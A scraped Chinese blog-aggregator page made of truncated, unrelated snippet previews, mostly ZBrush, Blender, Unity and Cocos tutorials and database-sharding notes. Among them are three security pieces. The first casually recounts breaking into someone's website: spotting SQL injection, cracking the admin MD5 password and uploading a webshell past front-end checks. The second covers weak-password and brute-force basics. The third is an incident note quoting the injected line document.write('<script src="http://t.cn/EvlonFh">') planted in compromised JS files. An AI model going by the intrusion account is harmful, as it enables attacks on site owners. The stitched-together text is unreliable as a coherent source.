正文:最近几天想刷几个洞,在一个站扫目录的时候,扫到了一个shell.php的PHP文件,用连接工具连了一下,试了几个密码都不对。这网站肯定是有洞的。随便点开一个页面加了个点,报错了,有注入。先把后台密码跑出来,进后台看看MD5解密,这里吐槽一下,CMD5要收费,但在Somd5,直接就出来了很简约的后台界面,随便找了一个上传点,只有一个简单的前端验证,抓包改了一下后缀就直接传上去了。冰
作为一款独特创新的3D图形绘制软件,ZBrush对于3D新手来说确实有点“吓人”,光是繁杂的英文界面就足以让人望而却步,但这毕竟只是针对新用户,一旦用习惯了,就会爱不释手。今天给新手们分享一些快捷技巧,帮助大家更好地掌握这款软件。1、编辑按钮大多数新用户最大的问题是添加新的ZTool或导入的模型到视口,围绕模型旋转和缩放的时候,每一次按下鼠标,模型的新实例就会被创建,这是因为ZBrush需要切换到
转载 2024-04-17 12:08:53
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01。ZBrush介绍ZBrush®保存时是一个画面,要保持三维物体的可编辑性必须保存为笔刷。02。物体的变换创建物体后按“T”进入编辑模式,否则只会不断拖出新物体,旧物体无法再编辑。 **旋转视图:**鼠标在空白处拖动,shift+鼠标左键可以角度锁定90度 **平移视图:**Alt+鼠标左键 **缩放视图:**Alt+鼠标左键、保持按下鼠标左键时放开Alt然后上下拖动鼠标左键 **F键/Alt
今天和大家分享zbrush日韩角色建模教程经验开始制作模型吧,首先在ZBrush中建立一个球体,转变为可编辑网络,这时候打开Geometry下的DynaMesh设置一个Resolution。  这是ZBrush2更新的一个新功能,它可以根据模型的改变而改变拓补结构,这样就省了在类似的软件,如Maya中建立基础模型,节省了时间,这对快速塑造一个生物角色形象是一个非常实用的功能。然
 一、前提: 漏洞挖掘原则所有变量所有头中的变量逐个变量删除 漏洞的本质数据与指令的混淆对用户输入信息过滤不严判断失误,误将数据当指令  二、经典漏洞: 1、身份认证常用弱口令/基于字典的密码爆破锁定账号信息收集手机号(通常有以手机号为用户名的)密码错误提示信息(用户名正确,输入错误密码看返回什么,再输入错误用户名和密码看返回什么,如果返
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unity 自动构建Thanks to Michaela Lehr for kindly helping to peer review this article. 感谢Michaela Lehr慷慨地帮助同行审阅本文。 In this tutorial, I’ll demonstrate how to create a simple 2D tapping game in Unity. The id
转载 2024-06-30 21:21:07
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  之前的ZBrush教程中我们用Extract抽出功能演示了头发的立体雕刻方法,本讲将对已完成的头部模型添加躯干,使用DynaMesh创建身体的方法,以及人体比例和结构的介绍。   设置网格坐标:ZBrush网格默认轴向为Y轴,点击网格按钮右上角的字母“Z”,开启Z轴并关闭Y轴,白色高亮显示状态为开启。此时能够看到比较大的网格效果。  调整网格:点击Draw菜单,找到Floor按钮显示位置,根据
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回顾前一篇 Cocos Creator 物理刚体挖洞新方案(上)的整体思路是,先用 Clipper 去计算多边形,接着用 poly2tri 将多边形分割成多个三角形,最后用多边形刚体填充。这一篇准备介绍这个实现方式遇到的新坑,以及一些优化。填充纹理之前是使用cc.graphic作图的,可能有小伙伴需要填充更好看的纹理图片。这时,可以巧用 cc.mask 中的 _graphic。可以清楚的
转载 2024-08-16 16:24:28
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(本文对提升ZBrush技能无益,但是重要,适合已经使用过Zbrush的初级选手阅读~~)Zbrush Lesson 1: “Zbrush is a Painting Program” (https://imgur.com/a/avVzs) Zbrush Lesson 2: Pixels and Pixols (https://imgur.com/a/768uk) ZBrush Lesson 3:
转载 2024-05-14 21:24:20
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对模型进行扭曲、弯曲、裁剪、掏空操作1. demo效果2. 实现要点2.1 模型扭曲2.2 模型弯曲2.3 模型裁剪与掏空2.3.1 球体裁剪与掏空2.3.2 圆柱裁剪与掏空2.3.3 甜圈圈裁剪与掏空3. demo代码 1. demo效果 如上图所示,第一张是对方形圆柱进行扭曲操作的效果图,第二张图是对扁平立方体面进行弯曲操作的效果图,第三张图是从内到外依次是原物体,裁剪后的物体,裁剪后掏空物
Lingguilan某些交通项目中,常有道隧道模型数据,在将隧道模型和地形一起加载场景里的时候,会发现隧道口是封闭的,这个便不符合实际情况,因此地形挖洞的功能便可以将这个封闭的口打开。一、 数据制作实现隧道挖洞需要有两种数据,地形缓存和模型数据1、 地形缓存。 数据集右键场景缓存可以生成地形缓存2、 隧道模型数据 这个一般是用户自己在第三方建模软件将模型制作出来,然后使用3dmax插件导出成超图的
转载 2024-10-06 12:40:46
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专业老师用雕刻方法教你zbrush人体头部模型,快学起来吧! 1、在lightbox中双击一个球体,单击顶部工具栏中的lightbox按钮,将其隐藏。  减少球体面数,双击tool>geometry> lower res[工具>几何体细分>降低细分]按钮,或调整sdiv[细分等级]上的操纵标,将该球体细分级别降至最低级,再单击reconstruct subdiv[重建细分面
坑1:Unity版本升级,手贱跟着升级,然后项目各种错 解决方案: 新版本先观望一段时间,新版本都有坑的。 坑2:Git做版本更新是,有些Prefab的数据死活不能同步 解决方案: 1.Edit->Project Settings->Editor 设置种打开 meta files 让meta文件和原始文件一起同步 2.Edit/ProjectSetting/Editor设置中Asset
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最近是准备做一个末日射击风格的demo,最后选择了网红软件blender,不得不说,啃教程真的难,所以决定分享一些技巧一、概念图为了保持原创,我就在小区里随便拍了一些照片。最后选了这个比较简单的房子。主要是第一张的构图、环境很棒,之后做场景比较好参考。可惜那天阴天,没有采集到光影。二、模型制作1.制作窗洞窗洞这个我找了半天教程,这个方法算是比较简单一些选择“实体化”修改器,给墙体增加厚度。利用“布
一、登录攻击者如何登录系统未能查出,所有日志已被清除。为防万一,把系统中没用的用户都删掉并修改其他用户密码。二、被攻击后的表象1、服务器资源被大量占用,资源占用率飙升;2、服务器所有JS文件被篡改,向输出页面增加了一个script标签(document.write('<script src="http://t.cn/EvlonFh"></script><script&
前言:大家好。虫虫大冒险(?)新的一期又双叒叕来了。本期文章主要讲解《空洞骑士中》的地图搭建相关的内容,并会写一个简单的相机脚本。除此之外,还会涉及到如何制作背景、产生异于玩家移动的动态效果。好了,闲话不多说,直接开始。地图模板工欲善其事,必先利其器。在开始地图搭建之前,我们先制作好游戏需要的地图模板,这样在后续的地图搭建环节中可省去大量的时间与精力。如何搭建地图模板就不多说了,通过
使用ZBrush®能够快速雕刻人物头部模型,本教程向您展示如何绘制模型,真正的绘制还需要学习者具备一定的功底,初学者可以以它做参考拓展自己思路。步骤一开始从工具面板选择你的模型,并在画布上放置模型,按下Edit按钮或者是T键; 从材质面板选择MatCap Skin05材质。如何学好Zbrush人头建模?做到这6条,不成大神你找我 游戏建模、3D建模、次世代、3Dmax、Maya、ZBrush游戏
如何制作精细模型,ZBrush中常用笔刷介绍 单击左托盘的笔刷图标,弹出一个笔刷库,其中有许多常用笔刷,这也是许多初学者所头疼的问题,zbrush#174;的笔刷非常多,而且功能很强大,好多朋友不知道该选择哪一个笔刷进行雕刻。其实,在ZBrush#174;的学习中我们只需要掌握少数的几种常用笔刷即可,他们分别是:Standard(标准笔刷)、Smooth(光滑笔刷)、Move(移动笔刷)、Clay
相对于垂直拆分,水平拆分不是将表做分类,而是按照某个字段的某种规则来分散到多个库中。每个表中 包含一部分数据。简单来说,我们可以将数据的水平切分理解为是按照数据行的切分,就是将表中的某些行切分 到一个数据库,而别的某些行又切分到其他的数据库中。配置表取1.选择要拆分的表Mysql单表存储数据条数是有瓶颈的,单表达到1000万条数据时就达到了瓶颈,会影响查询效率,需要进行水平拆分(表)进行优化
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# Java取表实现 ## 1. 简介 在开发过程中,当数据量增大时,单一表面临性能瓶颈,此时可以考虑使用表的方式来提高系统的性能和扩展性。在表中,取表是一种常见的策略,通过取运算将数据均匀地分配到多个表中。 本文将以Java语言为例,教你如何实现Java取表。 ## 2. 实现步骤 以下是实现Java取表的一般步骤,可以通过表格形式展示: | 步骤 | 操作 |
原创 2023-12-24 08:38:44
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